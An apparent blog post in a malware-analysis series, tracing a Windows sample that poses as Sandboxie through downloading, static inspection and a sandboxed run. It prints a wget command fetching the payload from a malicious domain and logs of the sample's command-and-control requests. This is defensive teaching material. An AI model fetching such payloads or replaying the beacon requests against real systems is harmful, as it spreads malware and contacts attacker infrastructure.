Malware Analysis Walking Tour (The Payload)

If you’re just tuning in, this is the third post in a series. Check out the beginning of the Malware Analysis Walking Tour to see how we got here.

Also, if you’re doing this for anything other than your own edification, there are *much* faster ways to go about many of these steps. Wes Brown of IO Active recently gave an excellent talk on his malware analysis toolkit at BSides SF.

The Payload

Someone went to a lot of trouble to get this SgwAg.exe on the machine. The question is why: Spam? Porn? Advertising? Botnet?

First off, we’ll need a copy of the exe. Since none of the nasty bits of the exploit code actually ran on the linux machine, we’ll have to go fetch the exe manually. We saw the url for it in the decoded exploit code, so we can grab it easily enough:

$ wgetasie -O SgwAg.exe.INFECTED http://nevpizdy-nenyznie50domain.in/feedback.php?page=1
[]
2010-01-04 19:19:37 (63.2 KB/s) - 'SgwAg.exe.INFECTED' saved [84992/84992]
$ file SgwAg.exe.INFECTED
SgwAg.exe.INFECTED: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Here I used the file command for a quick check that I did indeed get a Windows executable back. One step that’s quick and easy is to simply dump the strings in the file. Sometimes this tells us nothing, sometimes it tells us a lot.

$ strings SgwAg.exe.INFECTED | more
[...]
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> 
<assemblyIdentity 
    version="1.0.0.0" 
    processorArchitecture="X86" 
    name="Sandboxie" 
    type="win32" 
<description>Sandboxie</description> 
[...]

Hmmm… it is, was, contains, or is meant to look like something called “Sandboxie”. Looking at the properties on my Windows VM seems to back this up.

Well, that’s just too weird to pass up. Ordinarily at this point I’d be deciding on whether to deadlist in IDA or step through it in OllyDbg, but if some part of this malware is actually borrowed code then we stand to learn a lot by checking out what functionality is being ripped off.

I found the Sandboxie site and grabbed the release indicated by the PE version info (3.26) and install it on a VM, then take an md5 sum of Start.exe (from the official Sandboxie release), and the malware SgwAg.exe.

$ md5sum Start.exe SgwAg.exe.INFECTED
70c8e29228870ae7d5da6f457b9b395d  Start.exe
39990427da35c7625764c0e6f262a299  SgwAg.exe.INFECTED

Okay, so they’re not actually the same piece of code. No info about why the malware looks like Sandboxie, but hopefully that will become evident later. Just in case, I run both of them through the Binary Diffing Suite; there are a lot of changes, too many to list. I also put them through BinDiff in IDA to see if there’s any parts that are actually the same.

Only two functions “match” in name/parameter hueristics, but a quick glance at the graph view shows that these are red herrings. The yellow nodes with red outlines in the callgraph are ones that match no nodes in the other, supposedly similar, function. So, this malware was just supposed to look like Sandboxie Start.exe from the outside.

Since I don’t think there’s much more I can learn by staring at the surface of the file, it’s again time to make the decision: run or read? I can put the exe in a disposable environment, run it, and debug/profile it, or disassemble it and see what find. I’ve done a lot of the “running it” approach, so I look at IDA Pro to see what the code has to say. Checking what functions are imported and what functions are defined is an informative first step.

Awesome. I see socket(), bind(), and listen(), the three bad boys of becoming a server. Since I’m not much of a windows programmer, other than that nothing rings a bell and it’s time to read up on the rest of these functions and see what else this binary is equipped to do. The other problem is that while these functions are imported, they’re not actually used anywhere. That and some huge swaths of bytes that IDA didn’t recognize as instructions or data stinks of more packed or encoded/polymorphic code.

I run PEiD on the binary to see if it recognizes any common packer; nothing is identified. Oh well, it was worth a try.

[TODO – Finish writing SgwAg analysis; unpacking routine and antidebugging]

We’ve put it off long enough; it’s time to run this sucker. I copy the file over to a test VM and prepare to run it:

  • Switch the VMWare guest to HostOnly networking
  • Take a filesystem and registry snapshot using InstallWatch Pro
  • Snapshot the VM
  • Run Wireshark on the VMWare host so we can see anything that the malware attempts to connect to
  • Run a fake DNS to resolve all names to the VM Host
  • Run a fake HTTP server on the VM Host to log and respond to all requests
  • Start ProcMon and filter out activity that will flood the logs

Double click and… the file disappears. Hmm, that was anticlimactic. Did it do anything before erasing itself? I stop ProcMon and save the full logs, then filter for anything done by SgwAg.exe, and save again. The log shows that it was very busy indeed; a bit over 2000 logged actions before it exited, and several process creations.

We look through this and see that it’s doing a number of things, including reading out large chunks of itself.

ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 2,560, Length: 1,024
ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 1,024, Length: 1,536
ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 4,096, Length: 16,384
ReadFile	C:\binaries_for_analysis\SgwAg.exe	SUCCESS	Offset: 20,480, Length: 16,384
[...and later...]
CreateFile	C:\WINDOWS\packycfg.dll	SUCCESS	OpenResult: Created
WriteFile	C:\WINDOWS\packycfg.dll	SUCCESS	Offset: 0, Length: 35,328
CloseFile	C:\WINDOWS\packycfg.dll	SUCCESS

Now, it could be a coincidence that the malware reads out four chunks of itself totaling 35,328 bytes, then writes out a brand new 35,328 byte file, but I’m going to go with “highly unlikely”. We’ll have to get a copy of that and analyze it as well. However, that does save us time discovering and reversing the packing scheme that was used (since PEiD didn’t recognize it). Only one other file gets written:

WriteFile	C:\binaries_for_analysis\abcdefg.bat	SUCCESS	Offset: 0, Length: 50
[… and later …]
Process Create	C:\WINDOWS\system32\cmd.exe	SUCCESS	PID: 1152, Command line: cmd /c 	""C:\binaries_for_analysis\abcdefg.bat" "C:\binaries_for_analysis\SgwAg.exe""

This is a pretty standard pattern. If a binary wants to delete itself the usual approach is to write a batch file with instructions to delete it, then terminate, and let the batch file clean up. This particular flavor looped while checking if the second argument existed, trying to delete it each time.

While I’m saving logs from ProcMon and InstallWatch I notice that the dummy DNS and HTTP servers I set up are suddenly showing lots of requests.

pyminifakeDNS:: dom.query. 60 IN A 192.168.62.1
Respuesta: in.webstat44.com. -&gt; 192.168.62.1

The Fake DNS (from http://code.activestate.com/recipes/491264/) did its job; the malware requested resolution of “in.webstat44.com” and it got the IP of the VM host. It then makes some HTTP POST and GET requests.

DummyHTTP ready.
 
Saw POST request:
Content-Type: multipart/form-data; boundary=--------------------------cd4d11cd4d11cd4d11
User-Agent: IE
Host: in.webstat44.com
Content-Length: 317
Cache-Control: no-cache 
 
PTHOMAS-MALWARE - - [11/Jan/2010 16:34:49] "POST /cgi-bin/forms.cgi HTTP/1.1" 200 -
 
Saw GET request:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1; .NET4.0C; .NET4.0E)
Host: in.webstat44.com
Connection: Keep-Alive 
 
PTHOMAS-MALWARE - - [11/Jan/2010 16:34:54] "GET /cgi-bin/options.cgi?user_id=1426383534&amp;version_id=38&amp;passphrase=fkjvhsdvlksdhvlsd&amp;socks=0&amp;version=38&amp;crc=00000000 HTTP/1.1" 200 -
 
Saw GET request:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1; .NET4.0C; .NET4.0E)
Host: in.webstat44.com
Connection: Keep-Alive 
 
PTHOMAS-MALWARE - - [11/Jan/2010 16:35:08] "GET /cgi-bin/options.cgi?user_id=1426383534&amp;version_id=38&amp;passphrase=fkjvhsdvlksdhvlsd&amp;socks=0&amp;version=38&amp;crc=00000000 HTTP/1.1" 200 - 
 
[...many more of this request...]

Hmm, the exe took its sweet time there; from initial run (16:10:03) to first phone home (16:34:49) was a bit over 24 minutes. Some checks online show that “in.webstat44.com” was listed on various malware domain blacklists a while ago and has since gone offline. Cool; score one for the good guys. That leaves us with just the newly written packycfg.dll to analyze.

Okay then, we have what we need. I zip up all the logs, output, and packycfg and move them off the VM, then revert it to the snapshot.


Next Up: The Real Payload

One Response to “Malware Analysis Walking Tour (The Payload)”

  1. Coffee To Code » Blog Archive » Malware Analysis Walking Tour (The Exploit) Says:

    […] Next Time: The Payload […]

Leave a Reply